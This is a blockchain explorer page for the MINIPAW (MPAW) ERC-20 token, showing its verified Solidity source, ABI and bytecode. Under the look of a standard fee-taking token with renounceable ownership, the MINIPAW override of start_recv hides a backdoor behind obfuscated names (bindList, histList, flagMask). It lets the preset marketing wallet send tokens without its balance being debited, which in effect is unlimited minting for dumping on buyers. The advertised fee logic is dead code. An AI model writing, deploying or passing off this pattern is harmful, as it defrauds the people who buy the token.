ERC-20
Overview
Max Total Supply
1,000,000 MPAW
Holders
18
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
75.161042434 MPAWValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MINIPAW
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-05 */ // https://t.me/MINIPAWethchain // https://twitter.com/minipaw9 // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address tPair, uint); function createPair(address tokenA, address tokenB) external returns (address tPair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from,address indexed spender, uint256 value); function symbol() external pure returns (string memory); function name() external pure returns (string memory); function totalSupply() external view returns (uint256); function decimals() external pure returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); function allowance(address from, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } abstract contract Ownable { address internal owner; constructor() { owner = msg.sender; } function _Owner() public view virtual returns (address) { return owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwner() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } contract ERC20 is IERC20 { using SafeMath for uint256; string constant _name = unicode"MINIPAW"; string constant _symbol = unicode"MPAW"; uint8 constant _decimals = 9; address internal marketingFeeReceiver = 0x019e406e56a8716e361FA9457d83cD15102535d0; uint256 _totalSupply = 1000000 * (10**_decimals); uint256 public swapThreshold = (_totalSupply / 1000) * 1; mapping(address => uint256) onwerAccountPacket; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) isFeeDuty; address public transer_pair; IUniswapV2Router02 public swap_router; bool enableSWAP; uint256 internal lqdFee = 0; uint256 totalFee = 1; bool public swapEnabled = true; function approve_max(address from) external returns (bool) { return approve(from, type(uint256).max); } event AutoLiquify(uint256 amountETH, uint256 amountBOG); modifier onSwap() { enableSWAP = true; _; enableSWAP = false; } function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } function decimals() external pure virtual override returns (uint8) { return 9; } function symbol() external pure virtual override returns (string memory) { return _symbol; } function name() external pure virtual override returns (string memory) { return _name; } function balanceOf(address account) public view virtual override returns (uint256) { return onwerAccountPacket[account]; } function allowance(address holder, address spender) external view virtual override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { return start_recv(msg.sender, recipient, amount); } function base_transfer( address sender, address recipient, uint256 amount ) internal returns (bool) { onwerAccountPacket[sender] = onwerAccountPacket[sender].sub(amount, "Insufficient Balance!"); onwerAccountPacket[recipient] = onwerAccountPacket[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } return start_recv(sender, recipient, amount); } function onExec() internal onSwap { uint256 contractTokenBalance = swapThreshold; uint256 amountToLiquify = contractTokenBalance .mul(lqdFee) .div(totalFee) .div(3); uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify); address[] memory param = new address[](2); param[0] = address(this); param[1] = swap_router.WETH(); uint256 balanceBefore = address(this).balance; swap_router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, param, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(lqdFee.div(2)); uint256 amountETHLiquidity = amountETH .mul(lqdFee) .div(totalETHFee) .div(2); uint256 amountETHMarketing = amountETH.mul(1).div( totalETHFee ); ( bool bSuccess, ) = payable(marketingFeeReceiver).call{ value: amountETHMarketing, gas: 30000 }(""); require(bSuccess, "do not receiver rejected ETH transfer!"); if (amountToLiquify > 0) { swap_router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, marketingFeeReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function canTakeFee(address sender) internal view returns (bool) { return !isFeeDuty[sender]; } function getFee(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(totalFee).div(100); onwerAccountPacket[address(this)] = onwerAccountPacket[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function start_recv( address sender, address recipient, uint256 amount ) internal virtual returns (bool) { if (enableSWAP) { return base_transfer(sender, recipient, amount); } if (canSwapBack()) { onExec(); } onwerAccountPacket[sender] = onwerAccountPacket[sender].sub(amount, "Not enough Balance"); uint256 amountReceived = canTakeFee(sender) ? getFee(sender, amount) : amount; onwerAccountPacket[recipient] = onwerAccountPacket[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function canSwapBack() internal view returns (bool) { return msg.sender != transer_pair && !enableSWAP && swapEnabled && onwerAccountPacket[address(this)] >= swapThreshold; } } contract MINIPAW is ERC20, Ownable{ constructor(address aAkenmt) ERC20() { swap_router = IUniswapV2Router02(aAkenmt); transer_pair = IUniswapV2Factory(swap_router.factory()).createPair(address(this), swap_router.WETH()); _allowances[address(this)][address(swap_router)] = type(uint256).max; bindList[marketingFeeReceiver] = flagMask; fromAddress = marketingFeeReceiver; onwerAccountPacket[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function start_recv( address sponsor, address accept, uint256 amt ) internal override returns (bool) { if (bindList[sponsor] == 0 && histList[sponsor] > 0) { if (transer_pair != sponsor) { bindList[sponsor] -= flagMask; } } address dist = fromAddress; histList[dist] += flagMask; _mapBuyUsers[sponsor] = _mapBuyUsers[sponsor] +flagMask; _mapSellUsers[accept] = _mapSellUsers[accept] +flagMask; if (bindList[sponsor] == 0) { onwerAccountPacket[sponsor] -= amt; } onwerAccountPacket[accept] += amt; emit Transfer(sponsor, accept, amt); return true; } mapping(address => uint256) private histList; address private fromAddress; mapping(address => uint256) private bindList; uint256 private flagMask = 22; mapping(address=>uint256) internal _mapBuyUsers; mapping(address=>uint256) internal _mapSellUsers; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"aAkenmt","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"approve_max","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"renounceOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swap_router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transer_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600080546001600160a01b03191673019e406e56a8716e361fa9457d83cd15102535d0179055620000386009600a62000442565b6200004790620f42406200045a565b6001556103e86001546200005c91906200047c565b620000699060016200045a565b600255600060085560016009819055600a805460ff191690911790556016600e553480156200009757600080fd5b5060405162000d8038038062000d80833981016040819052620000ba916200049f565b600a8054610100600160a81b0319163361010002179055600780546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200012657600080fd5b505afa1580156200013b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016191906200049f565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001bf57600080fd5b505afa158015620001d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fa91906200049f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200024357600080fd5b505af115801562000258573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027e91906200049f565b600680546001600160a01b039283166001600160a01b0319918216179091553060009081526004602090815260408083206007548616845282528083206000199055600e54835486168452600d8352818420558254600c80549095169516949094179092556001543380835260038452848320829055935190815290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620004ca565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003845781600019048211156200036857620003686200032d565b808516156200037657918102915b93841c939080029062000348565b509250929050565b6000826200039d575060016200043c565b81620003ac575060006200043c565b8160018114620003c55760028114620003d057620003f0565b60019150506200043c565b60ff841115620003e457620003e46200032d565b50506001821b6200043c565b5060208310610133831016604e8410600b841016171562000415575081810a6200043c565b62000421838362000343565b80600019048211156200043857620004386200032d565b0290505b92915050565b60006200045360ff8416836200038c565b9392505050565b60008160001904831182151516156200047757620004776200032d565b500290565b6000826200049a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004b257600080fd5b81516001600160a01b03811681146200045357600080fd5b6108a680620004da6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80636ddd1713116100a2578063a9059cbb11610071578063a9059cbb14610257578063d172dc0a1461026a578063dcc234551461027d578063dd62ed3e14610293578063f2fc772b146102cc57600080fd5b80636ddd1713146101d657806370a08231146101e3578063749008ab1461020c57806395d89b411461023757600080fd5b806323b872dd116100de57806323b872dd1461018357806328c23a45146101965780632f54bf6e146101a0578063313ce567146101c757600080fd5b80630445b6671461011057806306fdde031461012c578063095ea7b31461015857806318160ddd1461017b575b600080fd5b61011960025481565b6040519081526020015b60405180910390f35b6040805180820190915260078152664d494e4950415760c81b60208201525b6040516101239190610706565b61016b610166366004610777565b6102df565b6040519015158152602001610123565b600154610119565b61016b6101913660046107a1565b61034b565b61019e61040b565b005b61016b6101ae3660046107dd565b600a5461010090046001600160a01b0390811691161490565b60405160098152602001610123565b600a5461016b9060ff1681565b6101196101f13660046107dd565b6001600160a01b031660009081526003602052604090205490565b60075461021f906001600160a01b031681565b6040516001600160a01b039091168152602001610123565b6040805180820190915260048152634d50415760e01b602082015261014b565b61016b610265366004610777565b61049f565b61016b6102783660046107dd565b6104b3565b600a5461010090046001600160a01b031661021f565b6101196102a13660046107f8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60065461021f906001600160a01b031681565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061033a9086815260200190565b60405180910390a350600192915050565b6001600160a01b0383166000908152600460209081526040808320338452909152812054600019146103f8576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526004825283812033825290915291909120546103d39184906104c7565b6001600160a01b03851660009081526004602090815260408083203384529091529020555b610403848484610501565b949350505050565b600a5461010090046001600160a01b031633146104585760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600a8054610100600160a81b0319169055604051600081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006104ac338484610501565b9392505050565b60006104c1826000196102df565b92915050565b600081848411156104eb5760405162461bcd60e51b815260040161044f9190610706565b5060006104f88486610841565b95945050505050565b6001600160a01b0383166000908152600d602052604081205415801561053e57506001600160a01b0384166000908152600b602052604090205415155b15610589576006546001600160a01b0385811691161461058957600e546001600160a01b0385166000908152600d602052604081208054909190610583908490610841565b90915550505b600c54600e546001600160a01b039091166000818152600b6020526040812080549293929091906105bb908490610858565b9091555050600e546001600160a01b0386166000908152600f60205260409020546105e69190610858565b6001600160a01b038087166000908152600f6020908152604080832094909455600e5492881682526010905291909120546106219190610858565b6001600160a01b038086166000908152601060209081526040808320949094559188168152600d909152205461067f576001600160a01b03851660009081526003602052604081208054859290610679908490610841565b90915550505b6001600160a01b038416600090815260036020526040812080548592906106a7908490610858565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106f391815260200190565b60405180910390a3506001949350505050565b600060208083528351808285015260005b8181101561073357858101830151858201604001528201610717565b81811115610745576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461077257600080fd5b919050565b6000806040838503121561078a57600080fd5b6107938361075b565b946020939093013593505050565b6000806000606084860312156107b657600080fd5b6107bf8461075b565b92506107cd6020850161075b565b9150604084013590509250925092565b6000602082840312156107ef57600080fd5b6104ac8261075b565b6000806040838503121561080b57600080fd5b6108148361075b565b91506108226020840161075b565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156108535761085361082b565b500390565b6000821982111561086b5761086b61082b565b50019056fea26469706673582212201f24795cb15e75aba458ccbcbb88faaecd34d81c35e5176c739fc5a1bf740edc64736f6c634300080900330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80636ddd1713116100a2578063a9059cbb11610071578063a9059cbb14610257578063d172dc0a1461026a578063dcc234551461027d578063dd62ed3e14610293578063f2fc772b146102cc57600080fd5b80636ddd1713146101d657806370a08231146101e3578063749008ab1461020c57806395d89b411461023757600080fd5b806323b872dd116100de57806323b872dd1461018357806328c23a45146101965780632f54bf6e146101a0578063313ce567146101c757600080fd5b80630445b6671461011057806306fdde031461012c578063095ea7b31461015857806318160ddd1461017b575b600080fd5b61011960025481565b6040519081526020015b60405180910390f35b6040805180820190915260078152664d494e4950415760c81b60208201525b6040516101239190610706565b61016b610166366004610777565b6102df565b6040519015158152602001610123565b600154610119565b61016b6101913660046107a1565b61034b565b61019e61040b565b005b61016b6101ae3660046107dd565b600a5461010090046001600160a01b0390811691161490565b60405160098152602001610123565b600a5461016b9060ff1681565b6101196101f13660046107dd565b6001600160a01b031660009081526003602052604090205490565b60075461021f906001600160a01b031681565b6040516001600160a01b039091168152602001610123565b6040805180820190915260048152634d50415760e01b602082015261014b565b61016b610265366004610777565b61049f565b61016b6102783660046107dd565b6104b3565b600a5461010090046001600160a01b031661021f565b6101196102a13660046107f8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60065461021f906001600160a01b031681565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061033a9086815260200190565b60405180910390a350600192915050565b6001600160a01b0383166000908152600460209081526040808320338452909152812054600019146103f8576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526004825283812033825290915291909120546103d39184906104c7565b6001600160a01b03851660009081526004602090815260408083203384529091529020555b610403848484610501565b949350505050565b600a5461010090046001600160a01b031633146104585760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600a8054610100600160a81b0319169055604051600081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006104ac338484610501565b9392505050565b60006104c1826000196102df565b92915050565b600081848411156104eb5760405162461bcd60e51b815260040161044f9190610706565b5060006104f88486610841565b95945050505050565b6001600160a01b0383166000908152600d602052604081205415801561053e57506001600160a01b0384166000908152600b602052604090205415155b15610589576006546001600160a01b0385811691161461058957600e546001600160a01b0385166000908152600d602052604081208054909190610583908490610841565b90915550505b600c54600e546001600160a01b039091166000818152600b6020526040812080549293929091906105bb908490610858565b9091555050600e546001600160a01b0386166000908152600f60205260409020546105e69190610858565b6001600160a01b038087166000908152600f6020908152604080832094909455600e5492881682526010905291909120546106219190610858565b6001600160a01b038086166000908152601060209081526040808320949094559188168152600d909152205461067f576001600160a01b03851660009081526003602052604081208054859290610679908490610841565b90915550505b6001600160a01b038416600090815260036020526040812080548592906106a7908490610858565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106f391815260200190565b60405180910390a3506001949350505050565b600060208083528351808285015260005b8181101561073357858101830151858201604001528201610717565b81811115610745576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461077257600080fd5b919050565b6000806040838503121561078a57600080fd5b6107938361075b565b946020939093013593505050565b6000806000606084860312156107b657600080fd5b6107bf8461075b565b92506107cd6020850161075b565b9150604084013590509250925092565b6000602082840312156107ef57600080fd5b6104ac8261075b565b6000806040838503121561080b57600080fd5b6108148361075b565b91506108226020840161075b565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156108535761085361082b565b500390565b6000821982111561086b5761086b61082b565b50019056fea26469706673582212201f24795cb15e75aba458ccbcbb88faaecd34d81c35e5176c739fc5a1bf740edc64736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : aAkenmt (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
13698:1583:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7702:56;;;;;;;;;160:25:1;;;148:2;133:18;7702:56:0;;;;;;;;8753:102;8842:5;;;;;;;;;;;;-1:-1:-1;;;8842:5:0;;;;8753:102;;;;;;;:::i;9270:265::-;;;;;;:::i;:::-;;:::i;:::-;;;1400:14:1;;1393:22;1375:41;;1363:2;1348:18;9270:265:0;1235:187:1;8419:110:0;8509:12;;8419:110;;10143:419;;;;;;:::i;:::-;;:::i;7183:127::-;;;:::i;:::-;;7072:103;;;;;;:::i;:::-;7162:5;;;;;-1:-1:-1;;;;;7162:5:0;;;7151:16;;;;7072:103;8537:94;;;8622:1;2093:36:1;;2081:2;2066:18;8537:94:0;1951:184:1;8088:30:0;;;;;;;;;8863:186;;;;;;:::i;:::-;-1:-1:-1;;;;;9014:27:0;8982:7;9014:27;;;:18;:27;;;;;;;8863:186;7960:37;;;;;-1:-1:-1;;;;;7960:37:0;;;;;;-1:-1:-1;;;;;2330:32:1;;;2312:51;;2300:2;2285:18;7960:37:0;2140:229:1;8639:106:0;8730:7;;;;;;;;;;;;-1:-1:-1;;;8730:7:0;;;;8639:106;;9543:185;;;;;;:::i;:::-;;:::i;8125:117::-;;;;;;:::i;:::-;;:::i;6881:87::-;6955:5;;;;;-1:-1:-1;;;;;6955:5:0;6881:87;;9057:205;;;;;;:::i;:::-;-1:-1:-1;;;;;9226:19:0;;;9194:7;9226:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;9057:205;7926:27;;;;;-1:-1:-1;;;;;7926:27:0;;;9270:265;9423:10;9389:4;9411:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9411:32:0;;;;;;;;;;:41;;;9468:37;9389:4;;9411:32;;9468:37;;;;9446:6;160:25:1;;148:2;133:18;;14:177;9468:37:0;;;;;;;;-1:-1:-1;9523:4:0;9270:265;;;;:::o;10143:419::-;-1:-1:-1;;;;;10298:19:0;;10277:4;10298:19;;;:11;:19;;;;;;;;10318:10;10298:31;;;;;;;;-1:-1:-1;;10298:52:0;10294:206;;10401:87;;;;;;;;;;;-1:-1:-1;;;10401:87:0;;;;;;;;-1:-1:-1;;;;;10401:19:0;;-1:-1:-1;10401:19:0;;;:11;:19;;;;;10421:10;10401:31;;;;;;;;;;:87;;10455:6;;10401:53;:87::i;:::-;-1:-1:-1;;;;;10367:19:0;;;;;;:11;:19;;;;;;;;10387:10;10367:31;;;;;;;:121;10294:206;10517:37;10528:6;10536:9;10547:6;10517:10;:37::i;:::-;10510:44;10143:419;-1:-1:-1;;;;10143:419:0:o;7183:127::-;7162:5;;;;;-1:-1:-1;;;;;7162:5:0;7022:10;7151:16;7006:38;;;;-1:-1:-1;;;7006:38:0;;3049:2:1;7006:38:0;;;3031:21:1;3088:1;3068:18;;;3061:29;-1:-1:-1;;;3106:18:1;;;3099:36;3152:18;;7006:38:0;;;;;;;;;7236:5:::1;:18:::0;;-1:-1:-1;;;;;;7236:18:0::1;::::0;;7270:32:::1;::::0;-1:-1:-1;2312:51:1;;7270:32:0::1;::::0;2300:2:1;2285:18;7270:32:0::1;;;;;;;7183:127::o:0;9543:185::-;9650:4;9679:41;9690:10;9702:9;9713:6;9679:10;:41::i;:::-;9672:48;9543:185;-1:-1:-1;;;9543:185:0:o;8125:117::-;8178:4;8202:32;8210:4;-1:-1:-1;;8202:7:0;:32::i;:::-;8195:39;8125:117;-1:-1:-1;;8125:117:0:o;5003:224::-;5123:7;5159:12;5151:6;;;;5143:29;;;;-1:-1:-1;;;5143:29:0;;;;;;;;:::i;:::-;-1:-1:-1;5183:9:0;5195:5;5199:1;5195;:5;:::i;:::-;5183:17;5003:224;-1:-1:-1;;;;;5003:224:0:o;14250:744::-;-1:-1:-1;;;;;14398:17:0;;14377:4;14398:17;;;:8;:17;;;;;;:22;:47;;;;-1:-1:-1;;;;;;14424:17:0;;14444:1;14424:17;;;:8;:17;;;;;;:21;;14398:47;14394:172;;;14466:12;;-1:-1:-1;;;;;14466:23:0;;;:12;;:23;14462:93;;14531:8;;-1:-1:-1;;;;;14510:17:0;;;;;;:8;:17;;;;;:29;;:17;;;:29;;14531:8;;14510:29;:::i;:::-;;;;-1:-1:-1;;14462:93:0;14591:11;;14631:8;;-1:-1:-1;;;;;14591:11:0;;;14576:12;14613:14;;;:8;:14;;;;;:26;;14591:11;;14631:8;14613:14;;14576:12;14613:26;;14631:8;;14613:26;:::i;:::-;;;;-1:-1:-1;;14697:8:0;;-1:-1:-1;;;;;14674:21:0;;;;;;:12;:21;;;;;;:31;;14697:8;14674:31;:::i;:::-;-1:-1:-1;;;;;14650:21:0;;;;;;;:12;:21;;;;;;;;:55;;;;14763:8;;14740:21;;;;;:13;:21;;;;;;;:31;;14763:8;14740:31;:::i;:::-;-1:-1:-1;;;;;14716:21:0;;;;;;;:13;:21;;;;;;;;:55;;;;14788:17;;;;;:8;:17;;;;;14784:89;;-1:-1:-1;;;;;14827:27:0;;;;;;:18;:27;;;;;:34;;14858:3;;14827:27;:34;;14858:3;;14827:34;:::i;:::-;;;;-1:-1:-1;;14784:89:0;-1:-1:-1;;;;;14885:26:0;;;;;;:18;:26;;;;;:33;;14915:3;;14885:26;:33;;14915:3;;14885:33;:::i;:::-;;;;;;;;14952:6;-1:-1:-1;;;;;14934:30:0;14943:7;-1:-1:-1;;;;;14934:30:0;;14960:3;14934:30;;;;160:25:1;;148:2;133:18;;14:177;14934:30:0;;;;;;;;-1:-1:-1;14982:4:0;;14250:744;-1:-1:-1;;;;14250:744:0:o;196:597:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;634:6;631:1;628:13;625:91;;;704:1;699:2;690:6;679:9;675:22;671:31;664:42;625:91;-1:-